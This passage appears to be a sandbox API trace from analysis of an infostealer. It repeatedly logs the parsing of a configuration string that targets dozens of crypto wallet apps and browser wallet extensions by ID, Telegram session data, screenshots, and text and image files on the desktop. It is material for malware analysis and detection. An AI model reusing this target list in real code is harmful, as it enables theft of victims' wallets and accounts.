Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3863 [0259.779] LocalAlloc (uFlags=0x40, uBytes=0x1e2e) returned 0x6bd390 [0259.779] StrStrW (lpFirst="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.779] lstrlenW (lpString="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3863 [0259.779] LocalAlloc (uFlags=0x40, uBytes=0x1eae) returned 0x6ef5a0 [0259.780] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.780] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.780] StrStrW (lpFirst="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.780] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.781] LocalFree (hMem=0x6b9720) returned 0x0 [0259.781] LocalFree (hMem=0x6bb558) returned 0x0 [0259.781] LocalFree (hMem=0x6bd390) returned 0x0 [0259.782] StrStrW (lpFirst="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension 